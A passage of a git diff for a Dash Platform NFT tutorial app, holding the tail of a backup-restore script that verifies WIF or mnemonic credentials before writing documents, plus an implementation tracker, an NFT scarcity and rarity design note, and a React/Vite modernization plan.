${entry.$id} is missing a required field (contractId, name, tagline, category).`, + ); + return result; +} + +/** Does this identity already have an entry for the target contract? */ +async function alreadyPresent(sdk, ownerId, targetId) { + const found = await sdk.documents.query({ + dataContractId: registryId, + documentTypeName: DOCUMENT_TYPE, + where: [ + ["$ownerId", "==", ownerId], + ["contractId", "==", targetId], + ], + orderBy: [ + ["$ownerId", "asc"], + ["contractId", "asc"], + ], + limit: 1, + }); + const rows = + found instanceof Map ? [...found.values()].filter(Boolean) : found || []; + return (Array.isArray(rows) ? rows : Object.values(rows)).length > 0; +} + +/** + * Identifier properties must be canonical base58 at the Document boundary; a + * contract-aware round trip produces the typed identifier before validation. + * Timestamps are seeded because serialization precedes facade population. + */ +async function prepare(sdk, contract, draft) { + const now = BigInt(Date.now()); + if (draft.createdAt == null) draft.createdAt = now; + if (draft.updatedAt == null) draft.updatedAt = now; + const version = new PlatformVersion(sdk.version()); + const prepared = Document.fromBytes( + draft.toBytes(contract, version), + contract, + DOCUMENT_TYPE, + version, + ); + if (draft.entropy) prepared.entropy = draft.entropy; + return prepared; +} + +/** Resolve a WIF to auth material, verifying it belongs to the expected owner. */ +async function authFromWif(sdk, wif, ownerId) { + let privateKey; + try { + privateKey = PrivateKey.fromWIF(wif); + } catch { + throw new Error("That does not look like a valid WIF private key."); + } + const identity = await sdk.identities.fetch(ownerId); + if (!identity) throw new Error(`Identity ${ownerId} was not found.`); + const pubKeyHash = Buffer.from(privateKey.getPublicKeyHash()).toString("hex"); + const pubKey = privateKey.getPublicKey?.() ?? privateKey.toPublicKey?.(); + const pubKeyHex = pubKey + ? Buffer.from(pubKey.toBytes()).toString("hex") + : null; + const matched = (identity.toJSON().publicKeys ?? []).find((key) => { + if (!key.data) return false; + const hex = /^[0-9a-fA-F]+$/.test(key.data) + ? key.data.toLowerCase() + : Buffer.from(key.data, "base64").toString("hex"); + return hex === pubKeyHex?.toLowerCase() || hex === pubKeyHash.toLowerCase(); + }); + if (!matched) + throw new Error(`That key does not belong to identity ${ownerId}.`); + if (matched.disabled || matched.disabledAt) + throw new Error("That key has been disabled on the identity."); + if ( + matched.purpose !== Purpose.AUTHENTICATION || + !AUTH_LEVELS.has(matched.securityLevel) + ) + throw new Error( + "That key cannot sign document writes. Use a HIGH or CRITICAL authentication key.", + ); + const signer = new IdentitySigner(); + signer.addKeyFromWif(wif); + return { + identity, + identityKey: identity.getPublicKeyById(matched.id), + signer, + }; +} + +/** + * Resolve a mnemonic to auth material for the expected owner. + * + * `IdentityKeyManager.create` accepts an `identityId` on faith: it derives keys + * from the mnemonic and never checks they belong to that identity. Passing the + * owner ID directly would happily build a signer holding the wrong mnemonic's + * keys, which only surfaces at broadcast as "No private key found for public + * key hash". So resolve the identity FROM the mnemonic instead and compare. + */ +async function authFromMnemonic(sdk, mnemonic, ownerId, identityIndex) { + const manager = await IdentityKeyManager.create({ + sdk, + mnemonic, + network, + identityIndex, + }); + const resolved = manager.identityId; + if (resolved !== ownerId) + throw new Error( + `That mnemonic (index ${identityIndex}) is identity ${resolved}, not ${ownerId}. Enter the mnemonic that owns these entries, or a different identity index.`, + ); + const auth = await manager.getAuth(); + if (!auth.identityKey) + throw new Error( + `The derived authentication key is not present on identity ${ownerId}.`, + ); + return auth; +} + +const sdk = await createClient(network); +const contract = (await sdk.contracts.getMany([registryId])).get(registryId); +if (!contract) + throw new Error( + `Registry contract ${registryId} was not found on ${network}.`, + ); +if (!contract.schemas?.[DOCUMENT_TYPE]) + throw new Error( + `Contract ${registryId} has no ${DOCUMENT_TYPE} document type.`, + ); + +const groups = byOwner(backup.entries); +if (groups.size === 0) + throw new Error("No entries matched the requested owners."); + +const rl = createInterface({ input: stdin, output: stdout }); +const summary = []; + +console.log( + `Restoring ${backup.entries.length} entries across ${groups.size} identities into ${registryId} (${network}).`, +); +if (args.dryRun) console.log("Dry run — nothing will be written.\n"); + +try { + for (const [ownerId, entries] of groups) { + console.log(`\n=== Identity ${ownerId} — ${entries.length} entries ===`); + for (const entry of entries) + console.log( + ` • ${entry.metadata?.name} → ${entry.metadata?.contractId}`, + ); + + if (args.dryRun) { + for (const entry of entries) properties(entry); // validate only + summary.push({ + ownerId, + restored: 0, + skipped: entries.length, + failed: 0, + }); + continue; + } + + // Credentials are read per identity so one owner's key is never in memory + // while another owner's entries are being written. + let auth = null; + while (!auth) { + const choice = ( + await rl.question("Credentials — [w]IF, [m]nemonic, or [s]kip? ") + ) + .trim() + .toLowerCase(); + if (choice === "s" || choice === "skip") break; + try { + if (choice === "w" || choice === "wif") { + const wif = (await rl.question(" WIF private key: ")).trim(); + auth = await authFromWif(sdk, wif, ownerId); + } else if (choice === "m" || choice === "mnemonic") { + const mnemonic = (await rl.question(" BIP39 mnemonic: ")).trim(); + const indexInput = ( + await rl.question(" Identity index [0]: ") + ).trim(); + const identityIndex = indexInput ? Number(indexInput) : 0; + if (!Number.isSafeInteger(identityIndex) || identityIndex < 0) + throw new Error("Identity index must be a non-negative integer."); + auth = await authFromMnemonic(sdk, mnemonic, ownerId, identityIndex); + } else { + console.log(" Enter w, m, or s."); + continue; + } + } catch (error) { + console.error(` ${errorText(error)}`); + } + } + + if (!auth) { + console.log(` Skipped ${ownerId}.`); + summary.push({ + ownerId, + restored: 0, + skipped: entries.length, + failed: 0, + }); + continue; + } + + let restored = 0; + let skipped = 0; + let failed = 0; + for (const entry of entries) { + const label = `${entry.metadata?.name} (${entry.metadata?.contractId})`; + try { + const props = properties(entry); + if (await alreadyPresent(sdk, ownerId, props.contractId)) { + console.log(` = ${label} already present; left as is.`); + skipped++; + continue; + } + const draft = new Document({ + properties: props, + documentTypeName: DOCUMENT_TYPE, + dataContractId: registryId, + ownerId: auth.identity.id, + }); + const document = await prepare(sdk, contract, draft); + await sdk.documents.create({ + document, + identityKey: auth.identityKey, + signer: auth.signer, + }); + console.log(` + ${label} restored.`); + restored++; + } catch (error) { + const text = errorText(error); + console.error(` ! ${label} failed: ${text}`); + failed++; + // A signing failure is a credential problem, not a per-entry one, so + // stop rather than repeating the same error for every remaining entry. + if (text.includes("No private key found")) { + const remaining = entries.length - restored - skipped - failed; + console.error( + ` Stopping this identity: the signer does not hold its keys.${remaining > 0 ? ` ${remaining} entries not attempted.` : ""}`, + ); + failed += remaining; + break; + } + } + } + summary.push({ ownerId, restored, skipped, failed }); + } +} finally { + rl.close(); +} + +console.log("\nSummary:"); +for (const row of summary) + console.log( + ` ${row.ownerId} restored=${row.restored} skipped=${row.skipped} failed=${row.failed}`, + ); +if (summary.some((row) => row.failed > 0)) process.exitCode = 1; diff --git a/example-apps/dashmint-lab/.codex b/example-apps/dashmint-lab/.codex new file mode 100644 index 00000000..e69de29b diff --git a/example-apps/dashmint-lab/IMPLEMENTATION.md b/example-apps/dashmint-lab/IMPLEMENTATION.md new file mode 100644 index 00000000..d04b9070 --- /dev/null +++ b/example-apps/dashmint-lab/IMPLEMENTATION.md @@ -0,0 +1,112 @@ +# Implementation Tracker — `tutorial/nft-modern/` + +Progress tracker for the modern NFT collectibles app. Design rationale and architecture live in [PLAN.md](./PLAN.md). + +**At the start of every session:** read this file, find the first `[ ]` or `[~]`, continue from there. **As you finish steps:** flip `[ ]` → `[x]`. Use `[~]` for in-progress and `[!]` for blocked (add a note). + +## Legend + +- `[ ]` not started +- `[~]` in progress +- `[x]` done +- `[!]` blocked — annotate with a note + +--- + +## Phase 0 — Prep + +- [x] 0.0 Create `tutorial/nft-modern/` directory and seed it with `PLAN.md` and `IMPLEMENTATION.md` +- [x] 0.1 Confirm funded testnet identity + mnemonic available for development +- [x] 0.2 Confirm a second funded testnet identity exists (needed for cross-profile transfer/purchase E2E) +- [x] 0.3 Record Node version + npm version used in `tutorial/nft-modern/README.md` once scaffolded (Node v20.19.5, npm 10.8.2 — note in README pending Phase 6.1) + +## Phase 1 — Split `setupDashClient.mjs` (do this BEFORE touching the new app) + +**Workflow change:** the canonical `setupDashClient.mjs` was copied into `src/dash/vendor/setupDashClient.mjs`. All edits happen here in this repo. The user will backport the resulting changes to `~/code/platform-tutorials/setupDashClient.mjs` (and the new `setupDashClient-core.mjs`) manually. + +- [x] 1.0 Copy `setupDashClient.mjs` into `src/dash/vendor/` for in-place editing (backport to platform-tutorials by user) +- [x] 1.1 In `src/dash/vendor/`, split into `setupDashClient-core.mjs` (browser-safe: `IdentityKeyManager`, `AddressKeyManager`, `createClient`, `dip13KeyPath`, `KEY_SPECS`) and a thin Node wrapper `setupDashClient.mjs` that adds dotenv + clientConfig + the `setupDashClient()` convenience +- [x] 1.2 Replace `Buffer.from(hex, 'hex')` in `getKeysInCreation()` with a local `hexToBytes()` helper (browser-safe; no Buffer polyfill needed in Vite) +- [x] 1.3 (User) Backport `setupDashClient-core.mjs` + the rewritten wrapper to `~/code/platform-tutorials/` +- [x] 1.4 (User) Regression: run all existing Node tutorials under `platform-tutorials/` — confirm zero behavior change (all tests pass) +- [ ] 1.5 (User) Commit the split in `platform-tutorials/` as its own change so any rollback is clean + +## Phase 2 — Scaffold the modern app + +- [x] 2.1 `npm create vite@latest tutorial/nft-modern -- --template react-ts` (scaffolded into /tmp and rsync-merged to preserve existing PLAN.md, IMPLEMENTATION.md, src/dash/vendor/) +- [x] 2.2 Add deps: `@dashevo/evo-sdk`, `tailwindcss@4`, `@tailwindcss/vite` (installed) +- [x] 2.3 Wire Tailwind (vite.config.ts plugin + `src/styles/globals.css` `@import "tailwindcss"`) +- [x] 2.4 Verify `npm run dev` serves the Vite template (smoke-tested OK) +- [x] 2.5 Copy/symlink `setupDashClient-core.mjs` into `src/dash/vendor/` (already present from Phase 1) +- [x] 2.6 Smoke test: in `main.tsx`, `await createClient('testnet')` logs a connected SDK (build passes; visual confirm pending — open dev server, check console for `[smoke] EvoSDK connected to testnet`) + +## Phase 3 — Port Platform code to `src/dash/` + +- [x] 3.1 `src/dash/client.ts` — typed re-export of `createClient` +- [x] 3.2 `src/dash/keyManager.ts` — typed re-export of `IdentityKeyManager` +- [x] 3.3 `src/dash/contract.ts` — `CARD_SCHEMAS` (verbatim) + `ensureContract()` with localStorage persistence +- [x] 3.4 `src/dash/withAuthedCard.ts` — verbatim from [../nft/nft-collectibles.html:767](../nft/nft-collectibles.html#L767), with leading JSDoc +- [x] 3.5 `src/dash/mintCard.ts` +- [x] 3.6 `src/dash/transferCard.ts` +- [x] 3.7 `src/dash/setPrice.ts` +- [x] 3.8 `src/dash/purchaseCard.ts` +- [x] 3.9 `src/dash/burnCard.ts` +- [x] 3.10 `src/dash/queries.ts` — `listMyCards`, `listAllCards`, `listMarketplaceCards` +- [x] 3.11 Each file begins with a JSDoc block: what / why / SDK method + +## Phase 4 — Session + auth + +- [x] 4.1 `src/session/SessionContext.tsx` — `{ status, sdk, keyManager, identityId, contractId, setContractId, logEntries, log, clearLog, login, browseOnly, logout, error }` +- [x] 4.2 `src/session/useSession.ts` +- [x] 4.3 Mnemonic lives only in `keyManager` closure — audit confirmed: `login()` uses trimmed local var only, never writes to state/localStorage/ref; logout drops keyManager so the closure can be GC'd +- [x] 4.4 `contractId` persisted via `loadStoredContractId` / `saveContractId` in `src/dash/contract.ts` (key: `nft-modern.contractId`) + +## Phase 5 — UI components + +- [x] 5.1 `src/lib/rarity.ts` (pure function) + `src/lib/format.ts` +- [x] 5.2 `src/styles/globals.css` — port dark theme + rarity gradients from `../nft/nft-collectibles.css` (rarity CSS + conn-dot animation ported; most other styles live as Tailwind utilities in JSX) +- [x] 5.3 `CardTile.tsx` — rarity gradient, owner/buyer/browse-only action buttons +- [x] 5.4 `CardGrid.tsx` +- [x] 5.5 `Tabs.tsx` — top-level Collection / Mint (always visible) + sub-tabs My / All / Marketplace (hide "My" in browse-only) +- [x] 5.6 `LoginModal.tsx` — mnemonic + identity index + testnet-only banner + post-login contract-register button (auto-connect in browse-only handled in App.tsx) +- [x] 5.7 `MintForm.tsx` + `StarterPack.tsx` (Fire Dragon / Stone Golem / Shadow Fox sequential mint, matching original HTML) +- [x] 5.8 `TransferModal.tsx` +- [x] 5.9 `SetPriceModal.tsx` +- [x] 5.10 `PurchaseModal.tsx` +- [x] 5.11 `ActivityLog.tsx` — streaming op messages (mirrors existing HTML log panel) +- [x] 5.12 `App.tsx` ties it all together (current ~200 LOC — target was ~80 but the shared modal/refresh plumbing needed to live somewhere; can slim further in Phase 6 if needed) +- [x] 5.13 **Login overlay for write tabs**: Mint tab always visible; when not authenticated, a translucent login-overlay ("Login to access this feature" + Login CTA) covers the Mint panel. Matches the original HTML's `loginOverlay` pattern. +- [x] 5.14 **StarterPack component**: "Mint Starter Pack (3 cards)" card in the Mint panel, sequential mint of Fire Dragon / Stone Golem / Shadow Fox with random stats. Matches original HTML's `mintStarterPack()`. +- Bonus: added `Modal.tsx` primitive so all four modals share one backdrop/escape/stopPropagation implementation. + +## Phase 6 — Educational polish + +- [x] 6.1 `tutorial/nft-modern/README.md` with treasure-map table (Operation → File → SDK method) +- [x] 6.2 "Reading this codebase" section pointing at `src/dash/` first +- [x] 6.3 Every `src/dash/*.ts` file has a leading JSDoc block +- [ ] 6.4 Link back to `../README.md` and the from-scratch `../nft/nft-collectibles.html` as the progression (skipped for now) + +## Phase 7 — E2E verification (see Verification plan in PLAN.md) + +- [ ] 7.1 Two-profile testnet run: login, mint, set price, purchase across profiles, transfer across profiles, burn +- [ ] 7.2 Browse-only mode: no mnemonic prompt ever fires; Mint tab visible with login overlay covering its content +- [ ] 7.3 Revision-bump regression: mint → setPrice → setPrice succeeds +- [ ] 7.4 Rarity visual QA: common / rare / legendary render distinctly +- [ ] 7.5 Error paths: bad identity index, bad recipient ID, buy-while-logged-out surface cleanly +- [ ] 7.6 Framework-in-background check: `src/dash/mintCard.ts` reads cleanly to a Dash-naive React dev in <1 min +- [ ] 7.7 Post-split Node regression: all `platform-tutorials/*.mjs` still pass + +--- + +## Session log + +Append newest entry at top. Format: `YYYY-MM-DD — what landed / what's next / any blockers`. + +- 2026-04-20 — Phase 6 (6.1–6.3) complete. Replaced Vite boilerplate README with educational README: treasure-map table mapping each operation to its file and SDK method, "Reading this codebase" guide pointing at `src/dash/` first, tech stack summary. Task 6.3 was already done (all `src/dash/*.ts` have JSDoc). Task 6.4 (tutorial progression links) skipped for now. Next: Phase 7 (E2E verification). +- 2026-04-16 — Phase 5 complete. Added `lib/rarity.ts` + `lib/format.ts`. Ported dark theme + rarity gradients into `styles/globals.css` (the `::before` gradient stripe + inset glow were easier as plain CSS than fighting Tailwind v4's pseudo-element support). Built `CardTile`, `CardGrid`, `Tabs`+`SubTabs`, and a shared `Modal` primitive. Four modals: `LoginModal` (mnemonic + contract register), `TransferModal`, `SetPriceModal` (with Remove-from-sale button), `PurchaseModal`. `MintForm` wires into `src/dash/mintCard`. `ActivityLog` reads from session. `App.tsx` is the single source of tab + modal orchestration — uses a `refreshNonce` + `useEffect` to re-query cards after mutations. Build: 42 modules, clean. Next: Phase 6 (README treasure map + docs polish). +- 2026-04-16 — Phase 4 complete. Added `SessionProvider` + `useSession()` managing `{ status, sdk, keyManager, identityId, contractId, logEntries, log, clearLog, login, browseOnly, logout }`. Mnemonic never enters state — trimmed in `login()` local scope, passed straight into `IdentityKeyManager.create()`, out of scope on return. `contractId` reuses Phase 3's localStorage helpers. Activity log is session-owned (array of `LogEntry`) and every `src/dash/*` op gets `session.log` as its `Logger`, so progress messages stream into the UI. Temporary `App.tsx` renders session fields + activity log for a visual smoke test until Phase 5.12. `tsc -b` + `vite build` pass. Next: Phase 5 (UI components — lib/, styles port, tiles, modals, tabs). +- 2026-04-16 — Phase 3 complete. Ported all Platform code into `src/dash/`: typed re-exports (`client.ts`, `keyManager.ts`), contract schema + `ensureContract()` (`contract.ts`), shared mutation prelude (`withAuthedCard.ts`), six operation files (`mintCard`, `transferCard`, `setPrice`, `purchaseCard`, `burnCard`, plus `queries.ts`) and a shared `logger.ts` so each op can stream progress to either the UI activity log or the console. Every file leads with a JSDoc block naming the SDK method it calls. Evo SDK does ship TS types; removed the speculative `@ts-expect-error` directives. `main.tsx` now imports from `./dash/client` instead of reaching into `vendor/`. `tsc -b` + `vite build` both clean. Next: Phase 4 (session context + auth). +- 2026-04-16 — Phase 2 complete. Wired Tailwind v4 plugin in `vite.config.ts`; replaced scaffold `index.css`/`App.css` with `src/styles/globals.css` (Tailwind import + dark base). Renamed package `nft-modern-scaffold` → `nft-modern`. Set `allowJs: true` so TS imports the JSDoc-typed `.mjs` vendor files. Replaced placeholder `App.tsx` with a Tailwind-styled landing card. Added EvoSDK smoke test in `main.tsx` (logs `[smoke] EvoSDK connected to testnet`). Removed unused scaffold assets (hero.png, react/vite logos, icons.svg). Updated `index.html` title. `tsc -b` clean; `vite build` passes (8MB JS chunk is the SDK WASM — expected). Next: Phase 3 (port Platform code to `src/dash/`). +- 2026-04-16 — Phase 2 scaffold landed (commit `0564cd0`). Vite + React + TS template scaffolded via /tmp + rsync to preserve existing files. Installed `@dashevo/evo-sdk`, `tailwindcss@4`, `@tailwindcss/vite`. Dev server smoke-tested (2.4). Phase 1 backport confirmed by user (1.3, 1.4 pass; 1.5 commit done by user). +- 2026-04-16 — Phase 1.1 + 1.2 done. Split `setupDashClient.mjs` in `src/dash/vendor/` into `setupDashClient-core.mjs` (browser-safe) + thin `setupDashClient.mjs` Node wrapper. Replaced `Buffer.from(hex, 'hex')` with local `hexToBytes()`. All original exports preserved; `KEY_SPECS` newly exported. +- 2026-04-16 — Seeded `PLAN.md` and `IMPLEMENTATION.md`. Confirmed Phase 0 prerequisites (0.1, 0.2). Copied `setupDashClient.mjs` into `src/dash/vendor/` (1.0). diff --git a/example-apps/dashmint-lab/NFT_REALIZATION_RESEARCH.md b/example-apps/dashmint-lab/NFT_REALIZATION_RESEARCH.md new file mode 100644 index 00000000..b8ef90f8 --- /dev/null +++ b/example-apps/dashmint-lab/NFT_REALIZATION_RESEARCH.md @@ -0,0 +1,346 @@ +# NFT Realization Research + +This note captures a path for turning `dashmint-lab` from a tutorial-style Dash Platform NFT demo into something closer to a production collectible system with hard scarcity, mint economics, and non-client-authoritative rarity. + +## Current state + +The app already uses real Dash Platform document primitives: + +- NFT-like documents are defined in [src/dash/contract.ts](./src/dash/contract.ts) +- minting is `sdk.documents.create(...)` in [src/dash/mintCard.ts](./src/dash/mintCard.ts) +- rarity is currently derived entirely client-side in [src/lib/rarity.ts](./src/lib/rarity.ts) + +Important limitations today: + +- only the contract owner can mint (`creationRestrictionMode: 1`) +- there is no native contract token gating mint +- attack/defense stats are chosen by app logic, not enforced by contract rules +- rarity is presentation logic, not an on-chain fact + +## Recommended scarcity model + +The cleanest hard-cap design is: + +- one data contract +- one native mint-pass token per series +- one NFT document type per series if mint rules or rarity rules differ +- burn one mint-pass token per NFT mint + +### Why burn instead of transfer-to-owner + +If minting transfers a scarce token to the owner, the owner can circulate that token again, so the same token can fund multiple mints over time. + +If minting burns a scarce token: + +- every mint permanently destroys one pass +- a fixed token `maxSupply = N` enforces at most `N` lifetime mints for that series + +That is the simplest way to get a true hard cap. + +## Series structure + +### Series 1 + +- token position `0` = `MINTPASS_S1` +- fixed supply +- `decimals: 0` +- no perpetual distribution +- burn 1 pass on each mint +- NFT document type `cardS1` + +### Series 2 later + +- contract update adds token position `1` = `MINTPASS_S2` +- add NFT document type `cardS2` +- burn 1 `MINTPASS_S2` per Series 2 mint +- Series 1 stays untouched + +This preserves Series 1's hard cap while allowing a new capped series later. + +## Recommended contract shape + +Illustrative contract fragment: + +```json +{ + "$formatVersion": "1", + "documentSchemas": { + "cardS1": { + "type": "object", + "creationRestrictionMode": 0, + "transferable": 1, + "tradeMode": 1, + "tokenCost": { + "create": { + "tokenPosition": 0, + "amount": 1, + "effect": 1, + "gasFeesPaidBy": 0 + } + }, + "properties": { + "seriesId": { "type": "string", "const": "S1", "position": 0 }, + "templateId": { "type": "string", "position": 1 }, + "serialNumber": { "type": "integer", "position": 2 }, + "rarityTier": { "type": "string", "position": 3 }, + "artHash": { + "type": "array", + "byteArray": true, + "minItems": 32, + "maxItems": 32, + "position": 4 + }, + "metadataHash": { + "type": "array", + "byteArray": true, + "minItems": 32, + "maxItems": 32, + "position": 5 + } + }, + "required": ["seriesId", "templateId", "serialNumber", "rarityTier"], + "indices": [ + { "name": "owner", "properties": [{ "$ownerId": "asc" }] }, + { + "name": "seriesSerial", + "properties": [{ "seriesId": "asc" }, { "serialNumber": "asc" }], + "unique": true + } + ], + "additionalProperties": false + } + }, + "tokens": { + "0": { + "conventions": { + "decimals": 0, + "localizations": { + "en": { + "singularForm": "Mint Pass", + "pluralForm": "Mint Passes" + } + } + }, + "maxSupply": 10000, + "distributionRules": { + "perpetualDistribution": null, + "preProgrammedDistribution": null, + "mintingAllowChoosingDestination": false + }, + "manualMintingRules": { + "authorizedToMakeChange": "ContractOwner", + "adminActionTakers": "ContractOwner" + }, + "marketplaceRules": { + "tradeMode": "NotTradeable" + } + } + } +} +``` + +Notes: + +- `creationRestrictionMode` must be `0` if pass holders mint directly +- `effect: 1` means `BurnToken` +- `gasFeesPaidBy: 0` means document owner pays gas fees + +## Why separate document types per series + +Using `cardS1`, `cardS2`, etc. is cleaner than reusing a single `card` type if: + +- the mint token changes +- the metadata structure changes +- the rarity logic changes +- the art pipeline changes + +An alternative is a single `card` type with immutable `seriesId`, but separate types are easier to audit and less error-prone if series semantics diverge. + +## Platform update behavior + +The local Platform repo indicates: + +- adding new tokens on contract update is supported +- removing an existing token is rejected +- mutating an existing token in place is rejected + +Implication: + +- use a new token position for each new series +- do not treat a new series as a mutation of the old mint-pass token + +## SDK caveat for token-gated mints + +The desired contract model depends on document creation being able to provide token payment info. + +Platform supports this conceptually, but the current app stack does not appear to expose it cleanly in the JS/WASM path: + +- the app calls `sdk.documents.create(...)` directly in `src/dash/mintCard.ts` +- the current WASM document-create path passes `None` for token payment info + +Implication: + +- changing the contract alone is not enough +- `dashmint-lab` would need SDK/app work before token-gated minting can function + +## Real rarity: what to replace + +Today: + +- `attack` and `defense` are rolled client-side +- rarity is derived from those values client-side +- users are effectively trusting app behavior + +That is suitable for a tutorial, not for collectible issuance. + +## Option 1: templates + +Best practical path. + +### Model + +Predefine a limited set of templates, each with: + +- `templateId` +- `seriesId` +- `rarityTier` +- metadata/art payload +- maximum edition count + +Examples: + +- `S1-DRAGON-LEGENDARY`, max 50 +- `S1-GOLEM-RARE`, max 300 +- `S1-FOX-COMMON`, max 3000 + +Minting then means: + +- choose or assign a template +- allocate next `serialNumber` +- mint the document with immutable template and rarity fields + +### Benefits + +- rarity is explicit and persisted +- edition caps are easy to reason about +- no user input can spoof rarity +- easy marketplace semantics +- no need for randomness infrastructure + +### Downsides + +- if users choose the template directly, rarity is not random +- if you want randomized pack opening, you need an assignment layer + +## Option 2: commit/reveal + +Best if randomized assignment matters. + +### Model + +Two-phase mint: + +1. `mintCommit` + - user submits a commitment like `hash(secret || seriesId || salt)` + - pass may be burned at this stage + +2. `mintReveal` + - user later reveals `secret` + - clients derive outcome from a deterministic formula such as: + `hash(secret || commitDocId || seriesId)` + +The derived output is mapped to a rarity bucket or template range. + +### Benefits + +- user cannot directly pick rarity +- anyone can verify the outcome from on-chain commitment and reveal data +- works with finite template buckets if the reveal picks from remaining inventory + +### Downsides + +- more complex UX +- reveals can stall +- someone needs to define how unresolved commits expire +- on current Platform this is best treated as app-level verifiable logic, not general-purpose protocol-executed custom logic + +## Important limitation on custom on-chain logic + +The local Platform source contains data triggers, but the trigger registry appears to be limited to built-in/system contracts such as DPNS, DashPay, and withdrawals. + +Implication: + +- do not assume arbitrary app-defined rarity logic can run natively on-chain +- treat commit/reveal as verifiable application logic unless/until custom trigger support exists + +## Recommended rarity path + +Recommended rollout: + +### Phase 1 + +Use templates only. + +- hard-cap each series with burn-on-mint passes +- hard-cap each template by edition count +- persist `templateId`, `rarityTier`, and `serialNumber` +- remove client-authoritative stat rolling from mint semantics + +### Phase 2 + +Add randomized assignment if desired. + +Best form: + +- commit/reveal selects a template bucket +- inventory accounting still uses finite templates + +This gives both: + +- verifiable randomness-style assignment +- deterministic real scarcity + +## Suggested app changes + +### Contract layer + +- replace current `card` schema with `cardS1` +- add native token configuration for `MINTPASS_S1` +- add `tokenCost.create` +- add immutable provenance fields +- add unique index on `seriesId + serialNumber` + +### Mint flow + +- stop letting the client define collectible power/rarity at mint time +- mint either: + - from a chosen template, or + - from a verified reveal outcome + +### Query/UI layer + +- display `seriesId`, `templateId`, `serialNumber`, `rarityTier` +- stop computing rarity from `attack + defense` as the source of truth +- if stats remain, treat them as template attributes, not client-generated mint output + +### SDK work + +- verify whether current `@dashevo/evo-sdk` / WASM bindings expose token payment info for document create +- if not, add or patch that path before enabling token-gated minting + +## Bottom line + +For a production-like collectible model on Dash Platform: + +- use one burn-on-mint pass token per series +- use a new token position for each future series +- prefer a new document type per series +- use templates for the first real rarity model +- optionally add commit/reveal later for randomized assignment + +The strongest near-term design is: + +- Series 1 token at position `0` +- burn 1 pass to mint `cardS1` +- finite templates with capped edition counts +- Series 2 later via contract update adding token position `1` and `cardS2` diff --git a/example-apps/dashmint-lab/PLAN.md b/example-apps/dashmint-lab/PLAN.md new file mode 100644 index 00000000..d2b2efa2 --- /dev/null +++ b/example-apps/dashmint-lab/PLAN.md @@ -0,0 +1,163 @@ +# Modernize the NFT Collectibles Tutorial App — Design & Plan + +Historical design record for the `tutorial/nft-modern/` project. The day-to-day task checklist lives in [IMPLEMENTATION.md](./IMPLEMENTATION.md). + +## Context + +The existing [../nft/nft-collectibles.html](../nft/nft-collectibles.html) is a 1,069-line single-file app with inline ES modules. It works, but it has outgrown the "plain HTML, one file" convention the rest of the tutorial series (`01-connect.html` → `03-todo-app.html`) follows — it has 4 modals, sub-tabs, a rarity system, a `withAuthedCard` mutation helper, and browse-only mode. The more complex the app gets, the more a learner reading the source has to untangle app-logic from Platform-SDK-logic. + +We want a version that looks and feels like a modern webapp to the **average web dev** who isn't crypto-aware, while keeping the Dash Platform SDK calls — not the framework — front and center. The framework's job is to disappear into the background so the Platform story reads clearly. + +Goals: + +- Show a real-framework reference that complements (not replaces) the from-scratch HTML next to it +- Reuse the shared `setupDashClient.mjs` verbatim where possible (currently Node-only due to `dotenv`/`process.env`) +- Keep the mnemonic in-browser, in-memory only — preserves the self-custody story the Platform exists to enable +- Make every Platform operation findable via a "treasure-map" README: _"Want to see how minting works? Open `src/dash/mintCard.ts`"_ + +## Recommendation (confirmed) + +**Vite + React 18 + TypeScript + Tailwind CSS v4**, SPA only (no SSR). Lives at `tutorial/nft-modern/` alongside the existing HTML. `setupDashClient.mjs` gets split into a browser-safe core + Node wrapper so both the Node tutorials and the modern app import the same `IdentityKeyManager` with no copy-paste drift. + +## Architecture + +### Directory layout + +```text +tutorial/nft-modern/ + index.html # Vite entry + package.json + vite.config.ts + tsconfig.json + README.md # treasure-map: op → file → SDK method + PLAN.md # this file + IMPLEMENTATION.md # progress tracker + src/ + main.tsx # ReactDOM.createRoot + + App.tsx # tabs, modal mounts, + dash/ # <-- ALL Platform SDK calls live here + client.ts # createClient(network) — re-exports from shared core + keyManager.ts # re-exports IdentityKeyManager + contract.ts # CARD_SCHEMAS + ensureContract() + withAuthedCard.ts # fetch-bump-revision wrapper (verbatim from HTML) + mintCard.ts # documents.create + transferCard.ts # documents.transfer + setPrice.ts # documents.setPrice + purchaseCard.ts # documents.purchase + burnCard.ts # documents.delete + queries.ts # listMyCards / listAllCards / listMarketplaceCards + session/ + SessionContext.tsx # { sdk, keyManager, identityId, contractId, status } + useSession.ts + components/ + LoginModal.tsx + TransferModal.tsx + SetPriceModal.tsx + PurchaseModal.tsx + MintForm.tsx + CardGrid.tsx + CardTile.tsx + Tabs.tsx + ActivityLog.tsx + lib/ + rarity.ts # pure: attack+defense -> tier + format.ts # id truncation, credits formatting + styles/ + globals.css # Tailwind + rarity gradient classes +``` + +### Where SDK calls live + +**One file per Platform operation under `src/dash/`.** Each exports a single async function (`mintCard`, `transferCard`, etc.) that takes `{ sdk, keyManager, contractId, ... }` and returns the result. Components import and call these directly — no wrapping hooks, no service classes. A learner opens `src/dash/mintCard.ts` and sees the exact SDK call, unwrapped, with a block comment explaining what it does and linking to docs. + +### State / auth flow + +- Single `SessionContext` holds `{ status, sdk, keyManager, identityId, contractId }`. +- `LoginModal` collects mnemonic + identity index → calls `createClient()` + `IdentityKeyManager.create()` → dispatches into context. +- Mnemonic lives **only** inside the `keyManager` closure in React state. Never localStorage, never window, never a ref. +- `contractId` IS persisted to localStorage — it's public. +- No Redux/Zustand/TanStack Query. Plain `useState` + `useEffect` + a refresh nonce for re-fetch after mutations. + +### How the framework stays in the background + +- No `react-router` — tabs are `useState<'collection'|'mint'>` with conditional render. `App.tsx` fits on one screen. +- **Mint tab is always visible**, even in browse-only mode. When not authenticated, a translucent login-overlay ("Login to access this feature" + Login button) covers the Mint panel content. This matches the original HTML tutorial's UX and lets visitors see what minting looks like before committing to login. +- No RSCs, no server actions, no loaders. The SDK works in the browser; keep it there. +- No shadcn/ui, no Radix, no component library — plain Tailwind classes. +- No custom `useQuery`/`useMutation` abstractions. `useEffect(() => { listMyCards(...).then(setCards) }, [deps])` is fine and legible. +- Every `src/dash/*.ts` file is readable with zero React knowledge. The React code is layout-only. + +## setupDashClient strategy + +Split `~/code/platform-tutorials/setupDashClient.mjs` into two files: + +1. **`setupDashClient-core.mjs`** — browser-safe. Exports `IdentityKeyManager`, `AddressKeyManager`, `createClient`, `dip13KeyPath`, `KEY_SPECS`. Zero references to `process.env`, `dotenv`, or `clientConfig`. Replace the one `Buffer.from(hex, 'hex')` call inside `getKeysInCreation()` with a local `hexToBytes()` helper so no Buffer polyfill is needed in Vite. +2. **`setupDashClient.mjs`** — rewritten 